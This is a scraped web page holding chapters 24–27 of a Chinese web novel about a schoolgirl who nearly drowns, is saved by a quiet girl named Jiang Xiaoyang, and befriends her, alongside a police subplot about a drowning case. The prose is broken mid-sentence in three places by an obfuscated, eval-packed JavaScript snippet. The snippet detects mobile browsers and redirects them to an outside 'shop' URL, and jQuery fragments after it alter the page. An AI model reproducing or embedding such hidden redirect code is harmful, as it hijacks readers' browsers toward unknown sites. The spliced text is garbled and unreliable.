“真的假的?”常美琴嘴角还带着笑容,余光一瞥,正好看见林勇从厨房里探出半个脑袋,手上还拿着锅铲—— “我的菜!” 24. 第 24 章 【我来新世界游泳了,明明十月份了,人怎么这么多T_T】 林语禾把手机放进包里,书包拉链合上,往更衣室柜子里一锁,拉了两下没拉动,这才抱着装泳衣的塑料袋艰难找空位。 正如舒任所说的那样,国庆节第一天,宣城最大的商业中心新世界开业了。 一路过来,公交车上满满当当都是人,车到了一站地的时候甚至往前走不了了,司机不得不让所有人下来走路。 许归苑和莫雨娜一人一边牵着林语禾,三人挽在一块儿才勉强没被汹涌的人流给冲散。 宣城这座小城就没见识过这么大的阵仗,庆祝开业的舞狮队音响和鞭炮烟火全响到了一块儿,耳朵里头嗡嗡的,甚至听不见谁在说话。 三人感叹了好一会儿人多,急急匆匆地赶到游泳馆里头想躲一躲,哪知道这里头人更多。 “怎么我感觉全宣城的人都有票往里头进呢!”莫雨娜扯着嗓子喊道,“说好的内部赠票呢!” 林语禾也被挤得苦不堪言,幸好游泳馆的工作人员迅速出来维持秩序,一检查才知道,竟然是有人趁着开业想混进去逃票。 有了工作人员在旁边盯着,这下人流总算是稳定了下来,林语禾带着两个朋友拿了更衣室钥匙往里走。 过了验票口,更衣室里头就宽敞多了,但人还是多得有些挤。 林语禾对着钥匙上的号码找到自己的柜子,里头还贴心地分了上下两格,宽的装东西,窄的装鞋子。 这钥匙说是钥匙,但其实是一个挂在手腕上的圆片,许归苑给她科普说这是“感应开锁”。 “这得高端的游泳馆才用,我和雨娜之前去的那些馆子都能有个锁就不错了,大部分都是开敞式的,根本不敢带什么东西来,特别容易丢。” 高端不高端林语禾不知道,但里面长椅是真的多,甚至不远处还传来了有人淋浴的声音,据说连蒸拿房都有,很多人匆匆换好衣服,连游泳池都还没进,就跑去体验这些设施。 其中就包括莫雨娜和许归苑,两人显然对这些东西很有兴趣,这里摸摸,那里瞧一瞧,完全坐不住。 “人太多了,你们干脆先进去等我吧?”林语禾看她们俩心痒难耐的样子,主动提出来,“我弄好再进去找你们。” “那行,我记得有个浅池子吧,1.2水深那个,等会小禾你在那边等我们,不要走到深水区去了啊!” 林语禾点了点头,像她这样慢吞吞的人是极少数,大部队涌进泳池,她总算捞到个空下来的软凳开始换泳衣。 人确实很多,但她动作缓慢,却不只是因为人多。 林语禾还是有点发怵。 这还是她第一次来游泳馆……不,准确地说,是她第一次主动接触水。 哪怕昨晚睡觉之前,她都还在辗转反侧自己要不要和许归苑她们说算了,把券给她们,自己就不来了,可又有点不甘心。 按照舒任的说法,她连死亡都曾经在“冥冥中”经历过一次,和生死相比……这只是游个泳而已,她总不能一辈子都当只旱鸭子,见着水就害怕吧。 这会儿都没人了! 给自己鼓了鼓劲,林语禾咬着牙,第三次尝试把泳帽戴上。 她举着的手臂有些酸,泳衣换起来倒是很快,她选了一套最好穿的,可这泳帽就不一样了,无论什么花色什么样式,都有一个共同特点——那就是紧得要命。 哪怕她使劲把头发往里头塞,也压根塞不进去多少,反而是被她这么乱戳一通,不少头发散了下来,挑衅似的飘在了外面,像是在嘲笑她的笨拙。 就在她束手无策的时候,身后忽然传来一道轻声的提醒。 “这样子戴不上去的,泳帽要先撑开,从前面开始戴。” 林语禾愣了愣,举起的手臂放了下来,转过头,一个长相清秀的女生正站在不远处,穿着一身黑色的长袖长裤,左手有些拘谨地搭在右手手臂上。 要不是她主动出声,林语禾都没注意还有个人,她顿时欣喜不已:“你会戴泳帽吗?” 那女生点了点头:“嗯,我会。” “真的!?”林语禾好不容易找到一个能帮忙的对象,此刻心情雀跃不已,拿着泳帽踩着拖鞋往那女生的方向走了两步,十分热情,“那能不能拜托你帮我戴一下?” 那女生万万没想到她竟然会这样主动地和自己说话,像是被吓了一跳似的下意识往后退了一步,原本垂着的手臂也抬了起来,圈在了胸前。 林语禾这才后知后觉地反应过来:“啊,对不起,我是不是吓到你了。” 她有些不好意思地摸了摸脖子,正打算转身回去自己再试试看,眼前的女生却忽然伸出了手来:“没关系……我来帮你戴吧。” “好!”林语禾顿时眉开眼笑,将泳帽递到对方手里。 “你在这边坐下,我来帮你戴。”女生带着林语禾在软凳上坐下,面前就是镜子,能清楚地看到那双白皙的手在林语禾发顶动作,她的手指修长而匀称,指节上的指甲也修剪得整整齐齐,虽然只是帮忙,动作却十分轻柔,像是怕弄疼她一样。 “头发要先扎好,扎紧一点,可能会有点疼,但是等会戴帽子会卡得稳固一些。” “像这样,先把两只手伸进去,把帽子撑开……好,从额头开始,慢慢地把它像这样拉到后面去,让头发全部包进去。” “再稍微调整一下……” 女生语气温柔,虽然说着“可能会疼”,但林语禾却完全没感觉到有任何不舒服的地方,那双手灵巧而熟稔地在她头上移动,像是蝴蝶翅膀一样。 刚刚在林语禾手里完全不听使唤的泳帽就这样轻而易举地戴了上去,稳稳当当地扣住,女生放下了手:“好了。” 林语禾左右看了看,比她自己戴的不知道好了多少,而且头顶也没有出现鼓鼓囊囊,反而十分服帖地包裹着。 看来这个女生很会游泳,而且经常游泳,要不然也不会这么熟练,林语禾笑眯眯地站起来,主动道谢:“谢谢你!” “……没关系。”女生有些腼腆,“用这个方法,以后就可以自己戴了。” 原来她刚刚一边弄一边解释,就是为了放慢动作能让林语禾看清、听清到底要怎么做,林语禾感动不已,用力点点头。 见对方背着包,头发在脑后盘了起来,显然也是来游泳,她主动提议道:“你也是来游泳的吗?要不然我等你一会儿,等你换好衣服,我们一起进去?” “不用了。”女生羞赧地笑了笑,“我想先休息一会儿……” 林语禾明白过来,对方可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357222|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不想身边杵着个人,想想也是,连她自己刚刚换衣服也恨不得所有人都走光了再换,她点了点头。 “那我先进去啦!” “好的。” 林语禾踩着拖鞋,把换下来的衣物装进塑料袋,又塞进了更衣室锁好,这才进了游泳池。 她来得晚了些,这会儿深水区和浅水区都已经跟下饺子没什么区别了,环顾一周,林语禾怎么也没找到许归苑和莫雨娜的身影。 整个堂子里就她一个人孤零零站着,似乎总有人视线向这边投来,她只好到浅水区下泳池的栏杆阶梯边坐了下来。 脚背乍然被带着点微凉的泳池水没过,林语禾心跳稍稍快了一些,她咽了咽喉咙,有些紧张。 再伸长脑袋到处张望,还是没能在人群中找到两个好友的身影。 随即她看见了浅水区旁边贴着的标识:1.2米。 这里最深的地方也不过1.2米,她林语禾还有一米□□呢!她在心里默默给自己鼓了鼓劲,也不去想许归苑和莫雨娜到底游哪儿去了,自己抓着栏杆,慢慢地往下一步、又一步。 每深一阶,水都会往上漫一些,林语禾抓着栏杆的手格外用力,生怕自己一松手,人就掉进深不见底的水里头再也起不来了。 但她的担心显然是多余的,许多个头刚到她腰的小孩也在里头玩得欢快,更别说她的身高,林语禾下到池底,扶着栏杆努力地稳住自己身形,这才发现……它是真的浅。 加上水的浮力,脚轻轻一蹬,甚至半个人都能冲出水面。 泳衣沾水后紧紧地贴在身上,一开始有些不舒服,可多呆一会儿适应了之后,它就不再干扰林语禾的动作,像只小水母一样,随着她一跳一跳的动作,在水里绽出一朵又一朵小花来。 林语禾感觉自己没那么害怕了,毕竟已经过去了那么多年,她早就已经不是小孩子,当年觉得深不见底的泳池,如今只能堪堪没过她的腰。 泳池里热闹非凡,也没人会注意到角落里的她,好友虽然不在,一个人倒也自得其乐,林语禾扒着泳池的边沿,一点点往前探索,无数身上套着泳圈,搭着游泳板的小孩从她身边擦肩而过,都好奇地看着这个奇怪的姐姐。 她倒还乐在其中,哪怕是这么一点点浮力,也让她觉得十分新奇,再往旁边看,更深的区域用串联在一起的浮标隔开,飘飘荡荡的泳道线另一头不时有人游过。 和浅水区这群嬉笑打闹的小孩不同,那才是真正的泳池,蛙泳、自由泳……甚至还有蝶泳,像是一条白色的人鱼一样从她眼前迅疾地游过去,浪花一朵朵地扑腾而起,令人羡慕不已。 要是当年她没有因为害怕放弃学游泳的话,现在是不是她也能跟眼前的这只“飞鱼”一样游得那么好? 林语禾趴在浮标上忍不住幻想。 可幻想到底只是幻想,她现在能不那么紧张地待在水里就已经很不错了,虽然戴着泳镜和泳帽,可连脑袋泡进水里这个动作她都不敢做。 又看着隔壁泳道的人游了个来回,林语禾决定继续绕着浅水池“散步”。 然而,就在她松开手的一刹那,身后忽然有什么东西重重地撞了上来。 还来不及重新拉上浮标,林语禾一个趔趄,整个人往前一栽,一头沉进了深水区的水里。 25. 第 25 章 “咕噜噜噜……” 林语禾下意识紧紧闭上了眼睛,水流在脸上划过的触感令她浑身鸡皮疙瘩直冒,她用力地蹬动着双腿,可这池子却似乎和她刚刚呆的那个不一样,无论她怎么踩,都踩不到底。 她这才想起来自己还戴着泳镜。 睁开眼一看,却不是刚刚呆的浅水区,只能模糊地看见那些小孩身上套的游泳圈就在不远处,无论她怎么努力扑腾,都没办法靠近。 她顿时慌乱了起来,可这种时候越是慌乱越是无法保持平衡,林语禾越是往上挣,越感觉自己离水面越来越远。 “咳咳!” 剧烈动作下,有水从鼻腔离涌了进来,林语禾不受控制地咳了两声,可肺里的空气也随之流了出去,强烈的窒息感涌了上来。 她想大口吸气,可吸进来的只有更多的水流,林语禾呛咳着,感觉自己的意识越来越模糊。 救命……救命……谁来救救她? 下一瞬间,她眼前出现了刚刚那条人鱼。 人鱼伸出了白皙的手掌,紧紧地牵住了她的手,紧接着用力一拉,林语禾模模糊糊中,只感觉到身体被一阵巨大的推力给往上推去。 “咳咳咳——”林语禾的脑袋露出了水面,大量的氧气涌了进来,肺部灼烧的痛楚减缓了许多,“哈……哈……” 人鱼却没有松手,而是一路牵着她穿过水里的浮标,游回浅水区的范围,将她带到了上下泳池的阶梯边,从后面托着,让她慢慢地爬了上去。 林语禾一屁股坐在泳池边,大口大口地喘气。 “……你还好吗?” 林语禾抬起头,对方不知道什么时候也跟了上来,正坐在自己身边。 却不是什么人鱼,而是一个穿着连体泳衣的女生。 泳衣是白色的,极为保守的款式,只露出了手腕和脚踝,紧紧地裹住她的身躯,修长笔直的双腿自然地垂进泳池里,被波光粼粼的池水拖出了层层叠叠的倒影,就像是人鱼的鱼尾一样。 “能听见吗?是不是还是不舒服?” 林语禾不说话,那女生有些担忧地轻轻拍了拍她的后背,又摸了摸她的手背,确认她没有出现痉挛和战栗:“好像没有受伤……” “我、咳咳、我没事。”林语禾开口就差点又呛到,她咳了两下,声音有些沙哑。 胸腔里的心脏还在怦怦狂跳不停,林语禾不知道自己到底应该算是幸运还是倒霉,短短半个月不到的时间,这已经是自己经历的第二次生死危机了。 可上一次的礼堂事故,她自己还有心理准备,这一次却纯粹是一场意外。 她抬头看了一眼墙上的挂钟,距离她下水不过20分钟,刚刚那场意外恐怕连一分钟都没到,但她的视角里,却像是过了一个世纪那么漫长。 要不是有善良的好心人救了她……林语禾的视线定格在身边的女生身上,忽然愣了愣:“你是刚刚更衣室那个……” 对方迟疑了一下,将泳镜摘了下来,和刚刚更衣室里帮林语禾戴泳帽的分明就是同一个人。 “好巧。”林语禾笑了笑,“两次遇见,都是你帮了我,谢谢你,要不是你刚刚拉住我,我肯定就淹死了。” 那女生腼腆地笑了笑,有些不好意思:“只是刚好看见……你不会游泳?” “不会,这是第一次游。”林语禾指了指浅水区里头摩肩接踵的小孩们,“本来是在那边,结果不知道被谁撞了一下,掉进深水区了,想冲上来,但是一个劲儿地往下掉。” 林语禾没游过泳,自认为没吃过猪肉也见过猪跑,不至于下了水就慌张得脑海一片空白,可真的遇到紧要关头,她发现道理终究只是道理。 人在那种情况下不慌张,简直是不可能的事情。 她转过头看着身边的女生:“对了,还没有来得及自我介绍,我的名字叫林语禾。” “……林语禾?” “对,语言的语,禾苗的禾,也可以叫我小禾。”林语禾的心跳慢慢缓了下来,她往前挪了挪,学着身边女生的样子,将脚放进了温凉的水里。 “你叫什么名字?” 水波轻柔地荡过她的脚背,一点也看不出能轻易置人于死地的杀伤力,林语禾听见耳畔女生温柔的声音响了起来。 “我叫晓阳……姜晓阳。” “晓阳,这个名字真好听。”林语禾真心实意地说道,“特别适合你。” 姜晓阳扬起嘴角:“嗯,我也很喜欢。” 彼此交换名字以后,林语禾顿时感觉身边的女生更亲近了,两人闲聊了几句,她这才知道,晓阳年纪甚至比她还小一岁。 林语禾很好奇:“你从小就学游泳吗,怎么能游得那么好?” “……也没有。”姜晓阳抿了抿唇,目光看向了深水区的方向,“没有很好。” “这还不算好的话,那我只能算不会了——不对,我是真的不会。”林语禾喃喃道,忽然灵光一闪,“晓阳,要不然你教教我怎么游吧?” 晓阳有些意外:“我教你?” “不用很正式,就是教我一下怎么划,还有遇到刚刚那种事情怎么办。”林语禾有些后怕,“我可不想再体验一次那种感觉。” 晓阳思索了一下,正要开口说什么,旁边忽然有个中年男人走了过来:“晓阳,在这儿做什么呢。” 晓阳闭上了嘴站起身,林语禾连忙也跟着站了起来,男人看了她一眼,笑着问道:“晓阳,这是你朋友?” 他转头乐呵呵地和林语禾打招呼:“小同学,你好你好,我是晓阳的爸爸,你叫我姜叔叔就好。” 林语禾礼貌地叫了一声“姜叔叔”,男人将视线投向了晓阳:“泳馆的老板过来了,跟我过去打个招呼?” 晓阳左手搭在右手手臂上,沉默着不说话。 “这孩子,怎么啦,不能陪你朋友,还耍起小脾气来了?” 林语禾连忙摆摆手:“晓阳,你有事儿就去忙吧,我自己在浅水区玩会儿就行。” “怎么,小同学不会游泳?”男人有些意外,“晓阳没和你介绍?我叫姜国栋,就每年咱们宣城搞冬泳的时候我都在那个,上过《宣城晚报》——” 见林语禾露出恍然大悟的神情,姜国栋笑呵呵地说道:“你要是想学游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不过最舒服的还是小禾,比入学那会成绩排名涨了不少,老舒脸都快笑成一朵菊花了。”莫雨娜模仿着班主任舒老师的样子把嘴巴往两边一咧,许归苑和林语禾都忍不住笑起来。 林语禾帮班主任说句公道话:“倒也没有那么夸张,这次大家考得都挺好的,舒老师觉得扬眉吐气嘛。” 她们4班不是火箭班,就比普通的平行班好上那么一点点,老舒虽然自己升了职,可心里头最惦记的还是能培养出几个TOP大学的学生,一直憋着劲儿。 “感谢宣城英雄就宣城六中高一年级月考成绩发表重要讲话。”许归苑做了个鬼脸,三人闹成一团,她这才正色,“不过小禾之前说的没错,我还是打算去买点题来做,这次是侥幸,下次要是真的不及格,你们就别想在周末看见我了。” 想到家里堆得能搭小山高的补习班宣传手册,许归苑一脸悲壮:“坚决不向恶势力妥协!” “行啊,那要不等会就去?反正出都出来了,你要现在回家也是跟你爸妈吵架,我正好也要去买书。”莫雨娜说道,“喏,就这条巷子走出去,临街那面儿有个时光书屋,书还挺全的——小禾,你去不?” “你那是去买书吗,真不是去买言情杂志?” “什么言情不言情的,我那是做正事!”莫雨娜恼羞成怒地锤了好友一下,“你们就说去不去吧!” “去去去!” 26. 第 26 章 时光书屋装修得很温馨,不像是这个时候的书店,要么就阴阴沉沉的,连带着里头放的书也带着一股不见天日的霉味,又不像省城的新华书店,浑身都散发着“你买不起”的高贵劲儿。 面朝外的窗户做成了半墙,透光度极好的玻璃映出里头一排排书架,有几扇窗户离书架太近,为了保护书籍用百叶窗掩着。 莫雨娜嘴巴上振振有词,但进了书店就跟老鼠掉进米缸似的,径自就溜去了杂志区域,任其余两人怎么叫她都不搭理,显然是已经沉浸到了爱情世界里头。 林语禾和许归苑面面相觑,一个穿着白衬衫的年轻女人走了过来:“是要找什么书吗,需不需要帮忙?” “殷老师!”正在“情海”遨游的莫雨娜抬起头来,兴冲冲地和对方介绍,“这是我朋友,许归苑和林语禾,小禾桂圆,这是时光书屋的老板殷老师。” “殷老师?” “不是什么老师,都是大家随便喊的。”殷老师笑着摆摆手,看了一眼林语禾,“你是……之前报纸上写那个救人的小英雄吧?” “……啊,是我。”林语禾万万没想到过去了半个月,竟然还有人对自己的名字有印象,尴尬地笑着,赶快把许归苑推到了前面,“我们是来找书的——对吧桂圆?” “哦!对、对。”许归苑卡了下壳,“有数学教辅吗?” “有啊,在门背后这一排,我带你们过去?” “好,都有什么啊?” “《一课一练》、《小题狂做》、《五三》……基本市面上卖得好的都有。” 许归苑转过头,莫雨娜已经又低下头去看杂志了,连餐巾纸都攥在手上,看来是在看虐文。 “小禾?” 林语禾站在原地没动,朝她挥挥手:“我先随便逛逛,这些教辅我都做得差不多了,看看别的。” “你也做太多题了!” 许归苑嗔了一句,就兴致冲冲地跟着殷老师去挑书了,隔着老远还能听见两人压低音量的交谈声。 林语禾左右看了看,往深处的书架走去。 的确就像莫雨娜说的那样,时光书屋的种类很丰富,除了教辅和杂志,国内外文学这些常见的,就连哲学、理论之类很少有人感兴趣的方向都有。 时不时能看到有人蜷缩在书架下,双腿折叠,把书摊平在膝盖上看得津津有味,也有人倚在窗台上,窄窄的飘窗就像是一把椅子,撑在身后。 林语禾从他们身边路过,这些人头也不抬,却还是会把自己缩得更小一些,不挡住她过路。 她随手拿起一本开封的《活出生命的意义》,看上去被翻阅过很多次,书脊都有些散开,被人细心地用细线重新缠绕绑紧。 林语禾翻到前言。 “一些不可控的力量可能会夺走你很多东西,但它唯一无法剥夺的是你自主选择如何应对不同处境的自由。”(注) 之前的读者似乎对这句话很是钟爱,在下面画上了一行波浪号,又在旁边打了个感叹号。 “你也对这本书感兴趣?” 不知道什么时候,殷老师走到了她身边,林语禾扬起眉毛,有些好奇,“也?” “常来我书店的孩子很多都喜欢这本书。”殷老师爱惜地抚摸着书架上还未拆封那几本的塑封薄膜,“你也看出来了吧,书都给他们快拆散了。” 语气中虽然有些嗔怪,但眉目间却尽是温柔。 “写得确实很有韵味。” 林语禾赞同道,她视线扫过旁边的那几本同样是哲学心理学的书籍,有趣的是,每一列的最前面一本都是拆开塑封的借阅本,上面肉眼可见地,都有阅读的痕迹。 “很少看见书店会把每种书都开一本出来呢。” “不是我开的,是他们自己开的。”殷老师摇摇头,“我店里的书都可以开。” “那这样,大家不就都会在这里看完,一本也不买了吗?” “有些人确实会这样。”殷老师笑着解释道,“但大多数人还是很自觉的,你看,这书脊也是他们自己修好的。” 林语禾这下是真没想到了,她回忆起上次常女士带自己去省城那家连锁书店,虽说也有专门的借阅本放在外面,但店员时不时就会在店里巡视,盯着这些借阅读者的目光让人很有压力。 那时候林语禾还觉得事出有因,毕竟谁叫这些读者们也不爱护书,看完了就丢三落四地不知道丢到哪个架子上,店员觉得警惕也是正常。 可殷老师的态度完全和她见过的那些店员不同,在时光书屋里借书来看的读者似乎完全颠覆了她对于借阅的想象。 她低下头,看着自己手里还没还回架子上的那本《活出生命的意义》,忽然起了想要购买的念头,想做就做,林语禾将借阅本放回去,又从后面抽出来一本新的。 “现在,我是真的对它感兴趣了,我要买一本!” …… 【这家书店的老板真的很神奇,不知道你能不能理解,就是那种让人感觉浑身特别舒服的性格,说话也轻声细语的,买不买书她都不会区别对待。】 【而且她店里的书真的挑得很好!叫《活出生命的意义》,你看过没?我反正是熬夜看得津津有味,马上就要看完了,打算今天再去挑两本来看^_^】 “你还在忙吗”几个字都涌到了嘴边,林语禾还是强自按捺了下去。 自从舒任给她发了那条留言之后,他就几乎没回过她的信息,备忘录打开,里面都是她一个人在叽叽喳喳,就像是在自言自语一样。 多少有些寂寞。 但林语禾没有那么不懂事,舒任平时不会这么冷淡,他会忙到这个份上,肯定是因为那边的工作非常紧急重要。 最终她还是没有把这句话写进备忘录里,甚至没有在字里行间泄露.出哪怕一丁点的孤单情绪,语气欢快地分享完自己这两天的见闻之后,她就合上了老旧的直板手机。 正好新手机上的Q/Q响了起来。 【桂圆八宝粥:小禾小禾,快出门啦,我们在十字路口等你~】 【小禾才露尖尖角:来啦。】 回复完好友的Q\Q信息,林语禾最后检查了一下自己的着装,看了一眼桌面,桌上还摊着那本《活出生命的意义》,已经读到了尾声。 她背上斜挎包出了门,在十字路口和两人碰头。 国庆第二天,无所事事的三人又一次选择光顾时光书屋,这次提议的人却不是莫雨娜,而是林语禾。 “我就说只要去了时光书屋,没有谁不夸殷老师的。”莫雨娜一副与有荣焉的样子,“她性格真的特别好,每周还会开读书沙龙,大家会一起讨论自己最近看了什么书,为什么喜欢这本书之类的,氛围特别好。” 许归苑呛了好友一句:“你说的那都不像是书店老板了,比感动宣城十大人物还像好人。” “我是说真的!有人来店里偷书,殷老师看见了也没计较!”莫雨娜见好友不信,顿时急了,“一般人装也没必要装到这份上吧,就一个书店的老板,做这种事也不能多卖两本出去啊。” 这倒是事实,林语禾也把之前借阅拆书的事情说了出来,许归苑这才信了:“世界上还真有这么好的人啊?” “怎么没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363446|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有,你和我身边还站了一个呢。”莫雨娜笑嘻嘻地说道,“是吧小禾!” “莫、雨、娜!” 打打闹闹中,时光书屋很快就到了,莫雨娜毫不意外又要投身进杂志的海洋里,不过这次可不是要看言情——新概念征文马上就要截稿了,这人却还连写什么都没想好,这两天简直跟油锅上的蚂蚁一样焦虑不堪。 许归苑则是家里给了一笔零花钱,只能买教辅资料,不能买闲杂书的那种“零花”,她苦着脸,又求殷老师给她推荐好用的教辅去了。 林语禾在店里信步闲逛着,殷老师今天似乎开了音响,钢琴曲若有若无地在书店里回荡着,窗外阳光洒入,心情很快平静了下来。 不知不觉,她又走到了放着《活出生命的意义》的那排书架上。 然而今天,这里却不是空空如也,而是站着一个有些眼熟的身影。 “晓阳?” 对方从书本上抬起头来,正是之前在泳馆救过林语禾的姜晓阳。 她目光有些惊讶,林语禾笑眼弯弯地走了过去:“我还以为我认错人了呢,真的是你。” “我经常来这里。”姜晓阳温声解释道,“你过来买书吗?” 林语禾点点头,指了指姜晓阳手上的那本:“昨天买了这本回去,今天想再挑两本。” “这本?” 林语禾解释说昨天她也看了这本借阅书,“前言那里有人勾了一段话,我觉得写得挺好的,就买回去看了。” 姜晓阳有些意外:“……那是我勾的。” “真的假的?” “什么真的假的?” 许归苑从书架后探出个脑袋,怀里还抱着几本教辅,一看就知道今天也是“收获颇丰”,她绕到好友身边,有些好奇地看向了面前的女生。 姜晓阳抿了抿唇,下意识往后退了一步,右手拿着书,左手本能地搭在了右手手肘上。 “桂圆,我之前还没和你说呢,就去游泳的时候,我不知道被谁踹了一脚,摔到深水区去了……”林语禾把之前在泳馆发生的事情和许归苑简单地讲了一遍,“我差点憋死了,就是晓阳救的我,没想到今天又碰见了,买的还是晓阳也喜欢的书。” 许归苑万万没想到中间还发生过这么危险的事儿,她把嬉笑的表情一收,十分愧疚地对林语禾道歉:“都怪我,非要和雨娜比谁50米游得快,都把时间忘了,差点害你出大事。” 她又转头向晓阳道谢,姜晓阳有些羞赧地摇头示意没什么大不了的,许归苑却还是坚持说了句谢谢。 不过说完,又回到了平时无忧无虑的样子。 “诶,小禾你说是她……” “晓阳,姜晓阳。” “哦!晓阳救了你,那你觉得晓阳和我跟雨娜,谁游泳游得比较好?” “我又不会游泳,我怎么会知道?” “哎呀,就是问问嘛!” “……那当然是晓阳。” 许归苑挠了挠头:“你不是不会游泳吗?” 林语禾哭笑不得:“可是晓阳的爸爸是泳馆的教练啊……对吧晓阳?” 姜晓阳没说话,许归苑“咦”了一声,“姓姜,还是教练,是之前宣城冬泳很厉害,还上过报纸那个?” “是吧。” “哇,那确实比我游泳厉害。” 林语禾见姜晓阳一直沉默地站在一边,决定转开这个话题:“反正都这么巧碰见了,晓阳要不要等会一起喝奶茶?” 在对方还没来得及说话之前,她又补了一句。 “还有……咱们要不要加个Q\Q?” 27. 第 27 章 【差点成为第一个在泳池里淹死的倒霉蛋...还好有个很会游泳的女孩子救了我!我俩还特巧地喜欢同一本书~^_^打算5号一起去省城欢乐谷玩~】 【注意安全】 舒任敲下留言,屏幕那边显然是没想到他竟然会有时间回复,光标顿时跳动起来,但他却没时间看了,匆匆将手机放回桌上,把最后一个包子三两下塞进嘴巴里。 难得的休息时间已经结束,接下来又是漫长的会议时间。 “师傅,我拿去倒一下?”舒任回到座位上,上座坐着师傅老闫,面前的烟灰缸已经全是抽得干净的烟屁股,层层叠叠地垒起来,最上头那只摇摇晃晃,快要栽出去。 “算了,先不抽烟了。” 老闫叹了口气,点着桌上厚厚的卷宗:“尸检结果已经出来了……家属那边怎么说。” “不肯签字。” “……和他们详细解释过没有?” “解释过了,他们坚持认为是有人杀了孩子,要求立案彻查。” “唉……” 老闫又深深地叹了口气,下意识去摸烟盒,发现里头空空如也,这才收回了手,舒任从口袋里摸出颗薄荷糖:“师傅,试试这个,提神。” 老闫看了他一眼接过去,舒任低头翻开卷宗。 这几天刑警支队几乎是连轴转,就没个休息的时候,他连一次家都还没回,老舒中途来了一次电话,舒任也只来得及匆匆说了理由就挂断。 但这份辛苦也是有回报的,一开始只是简简单单的个人信息资料,到如今已经是一本厚厚的卷宗档案。 里头最重要的就是法医那边给出的尸检结果和勘察组的记录。 与之前的初步判断基本一致,案发现场没有检查出来除受害者以外的DNA痕迹,反而是身上有轻微擦伤,与勘察组在溪流附近找到的脚印一致。 还原现场来看,是几个孩子走到那附近之后没有意识到这条溪流涨水后距离变近,一个脚滑之下跌进水里溺亡。 从客观证据来看,这就是一场典型的意外溺亡事故,就连信息组加班加点抢救回来其中一个孩子的手机资料,也没有发现任何存在疑点的东西。 走访组的成员报告也没有提供出这些孩子受人胁迫的证据。 “这几个学生都是在宣城四中读书……我没记错的话,你也是四中出来的。”老闫抿了口浓茶,“你感觉你们校风怎么样?” “……两极分化。”舒任解释道,“有些班级教职工子女比较多,会好一些。” 老闫挑了挑眉:“你爸是老师吧,四中的?” “六中。” “那你怎么跑去四中读书?” “我是校队特招进去的。”舒任苦笑,“我爸想让我读六中,我觉得那边管得太严了……四中很多人都这么想。” 老闫不置可否,又喝了口茶,冷茶从喉咙里滑过,越发地苦涩,外面忽然喧哗起来,他皱起眉:“你去看看。” 舒任应了一声,推门从会议室出来。 走廊上这会儿一片狼藉。 纸杯里的水撒了一地,一高一矮两个男人站在靠墙的位置,浑身已经湿透了,有警员正给他们拿纸巾擦,还有人试图扑上去打他们,被舒任眼疾手快拦下。 “这里是公安局,有什么事情口头沟通,不许动手!” 这扑上去要打人的,赫然就是之前来得最早的那对男女,如今卷宗里一一对上号,舒任认出来这是受害人蓝茵的父母。 那男人顿时缩了回去,不尴不尬地“嘁”了一声,冲身后其他人骂了句“狼狈为奸”,舒任皱起了眉。 “不好意思,不好意思,给你们添麻烦了。”高个男人身形瘦削,戴着一副厚厚的黑框眼镜,有些拘谨地向舒任自我介绍,“我叫傅昭,是蓝茵、袁秀秀和袁野的班主任,这位是关——” “关野,王金和张施南的班主任。”矮个男人接话道,舒任这才看清他不是矮,而是其中有一只脚不太方便,哪怕站着的时候也没办法伸直,显得一侧肩头要矮一些。 “呸,什么班主任,连个学生都看不好!”蓝父呸了一声,“天天收着我们这些父母那么多钱,就是这样当老师的?一群废物!” “蓝茵爸爸,我理解你的愤怒。”傅昭的声音温和镇定,“在国庆节放假之前,学校就已经一遍又一遍地提醒孩子们不要去人烟稀少的地方,太危险。 我和关老师也没有想到会发生这样的事……您消消气,现在最紧要的还是要听专业人士的说法,您说对不对?” 他说话不疾不徐,天然带着一点让人放松的味道,舒任抱着胳膊,负责安抚家属们情绪,和他们沟通的女警官刚刚已经低声将经过都告诉了他。 简单来说,家属们不愿意签字的原因只有一点,那就是赔偿。 如果这件事被定性为意外溺亡,那么并不会有任何赔偿——这条溪流虽然在临宣山上,但却并不属于对外开放区域。 早在五六年前,这条山路就被官方封闭起来,并且外面还悬挂树立了不少警示牌,都写着“山路危险,禁止入内”,家长们一合计,上诉也是不可能赢的,唯一能拿到钱的,就只有眼下这个机会。 所以,他们才一口咬定背后必然有凶手。 “事实真相都需要证据支撑。”舒任缓缓道,“各位受害人家属,如果有支持他杀的证据,可以向我们警方提交。” 家长们面面相觑,有个瘦弱的家长咳了两声:“我们要是能找到证据,还要警察做什么。” 他这一说话,剩下的家长顿时群情激奋起来。 “就是就是!” “说什么尸检,依我看呐,就是走个过场,把我们打发了!” “一分钱不要,也想让我闭嘴?我告诉你们没这么好的事儿!”蓝父更是一脸戾气,“不给钱我就不签字,我看谁敢火化尸体——咱们就这么耗着吧!” “蓝茵爸爸,您要是一直这么固执,蓝茵同学在天之灵也难以瞑目啊。”傅昭开口道,“再怎么生气,也不能让遗体就那么放着。” 